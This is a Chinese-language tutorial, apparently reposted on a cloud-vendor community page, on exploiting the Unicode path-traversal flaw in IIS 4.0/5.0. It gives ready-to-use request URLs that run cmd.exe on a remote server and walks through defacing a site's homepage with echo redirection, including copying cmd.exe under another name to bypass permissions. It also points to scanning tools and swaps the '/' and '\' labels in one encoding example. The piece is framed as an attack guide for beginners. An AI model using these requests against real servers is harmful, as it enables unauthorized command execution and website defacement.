IIS的Unicode漏洞攻擊

來源:互聯網
上載者:User

標籤:des   http   strong   os   檔案   html   

IIS有十多種常見漏洞,但利用得最多的莫過於Unicode解析錯誤漏洞。微軟IIS 4.0/5.0在Unicode字元解碼的實現中存在一個安全性漏洞,使用者可以遠程通過IIS執行任意命令。當IIS開啟檔案時,如果該檔案名稱包含Unicode字元,它會對它進行解碼。如果使用者提供一些特殊的編碼,將導致IIS錯誤地開啟或者執行某些Web根目錄以外的檔案或程式。我們此文就著重來講講如何利用這個漏洞入侵IIS。

  對於IIS 4.0/5.0中文版,當IIS在收到的URL請求的檔案名稱中,包含一個特殊的編碼例如“%c1%hh”或者“%c0%hh”,它會首先將其解碼變成“0xc10xhh”, 然後嘗試開啟這個檔案。Windows系統認為“0xc10xhh”可能是Unicode編碼,因此它會首先將其解碼,如果 “0x00<= %hh < 0x40”的話,採用的解碼的格式與下面的類似:

  %c1%hh->(0xc1-0xc0)*0x40+0xhh

  %c0%hh->(0xc0-0xc0)*0x40+0xhh

  因此,利用這種編碼,我們可以構造很多字元,例如:

  %c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c=‘/‘

  %c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f=‘\‘

  攻擊者可以利用這個漏洞來繞過IIS的路徑檢查,去執行或者開啟任意的檔案。此漏洞從中文版IIS4.0+SP6開始,還影響中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。

  在NT4中“/”編碼為“%c1%9c”;在英文版的WIN2000中為“%c0%af”;在中文版的WIN2000裡是“%c1%1c”。此外還有多種編碼,不逐一闡述,大家可以查查資料。本文均以WIN2000為例,其他類型請自行替換。

判斷是否存在漏洞

  用該漏洞的掃描器來進行掃描是一種常見的方法。但我們知道,掃描並不是一個真正的駭客攻擊行為,它只是一種尋找入口的方式。IIS的Unicode漏洞掃描器有很多,如RangeScan或者是unicodeScan都可以進行掃描以收集伺服器資訊。還有些綜合性的掃描軟體除了能發現Unicode漏洞之外,同時還能收集伺服器的其它漏洞——X-Scan(:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。

  當然也可以在IE瀏覽器中輸入以下語句來進行判斷:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  學過DOS的應該可以看懂,其實就是利用當中的非法請求使我們連到system32下,如果Inetpub目錄不和Winnt在同一盤符,或者目錄級數有改動,就可能會引起請求失敗。

  如果存在漏洞,那麼在瀏覽區可看到如下類似資訊:

  Directory of C:\inetpub\scripts

  2005-03-05 15:49 〈DIR〉 .

  2005-09-05 15:49 〈DIR〉 ..

  是不是有自己機器的感覺了,正點!要的就是這種感覺!

  cmd.exe相當於DOS裡的command.com,因此,我們可以執行很多命令了!

  注意:在上面輸入的判斷語句中,“/c”後面的“+”,實際上是空格,請記牢!dir是DOS中的查看檔案和目錄命令,不懂DOS的朋友快去學習。

  看了上面的介紹,不用說大家也知道我們可以利用此漏洞對伺服器展開攻擊了!

修改網站首頁

1.確定網站首頁名稱

  一般網站預設首頁檔案為index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一個,我們可以通過輸入不同的首頁名稱來測試並確定要修改的網站首頁。在IE地址欄中輸入以下三個網址:

  http://aa.feedom.net/index.html

  http://aa.feedom.net/default.asp

  http://aa.feedom.net/index.htm

  通過對上面三個網址的測試,我們發現只有第三個網址可以正常開啟,說明這個網站的首頁名稱為index.htm。好了,那麼我們就修改它吧!

2.修改原理

  最方便的方法是echo法:echo是一個系統命令,主要用於設定回應開關。

  echo test >c:\autoexec.bat就是把test加入autoexec.bat裡並刪除原有內容;

  echo timedate >>c:\autoexec.bat就是加入timedate但不刪除原有內容。

  明白了嗎?接下來我們就可以逍遙地修改了。

3.更改網站首頁

  在IE中輸入以下地址:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm

  IE瀏覽器返回來的結果可能為以下兩種情況之一:

  1)HTTP 500 - 內部伺服器錯誤

  2)The parameter is incorrect

  通過返回資訊提示和對CMD的分析,可能是命令語句中參數錯誤,加入"符號再試試:

  1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm

  表示把HaHaThisismyhack加入到index.htm檔案並刪除原有內容。

  2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:\inetpub\wwwroot\index.htm

  表示把by2005-3-9加入到index.htm檔案中,但不刪除原有內容。

  如果正常,上面兩條語句的回應應該都為CGI錯誤,這表示語句執行成功了,系統只是程式性地報個錯誤,不用理會它。

  現在再來開啟網站aa.feedom.net看看吧,怎麼樣了,是不是被你改掉了?在實際操作中,由於目錄許可權等網管因素的存在,可能這個方法也會失效,這時,我們就可以用copy cmd.exe 為另一個.exe檔案的方式解決,不過要記住路徑,別出錯了,例如:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe

  http://aa.feedom.net/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm

  本文講到的技術比較簡單,很適合初學者研究和學習。也許你通過本文的執行個體方式,已經能修改我們提供的伺服器首頁了,但是在實際操作中,伺服器環境必然有變化,而且障礙也許是你未曾研究或接觸過的。所以只有牢牢地掌握了基礎知識才有進階的資本。大家可以根據文中提到的知識點查閱資料輔助學習。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.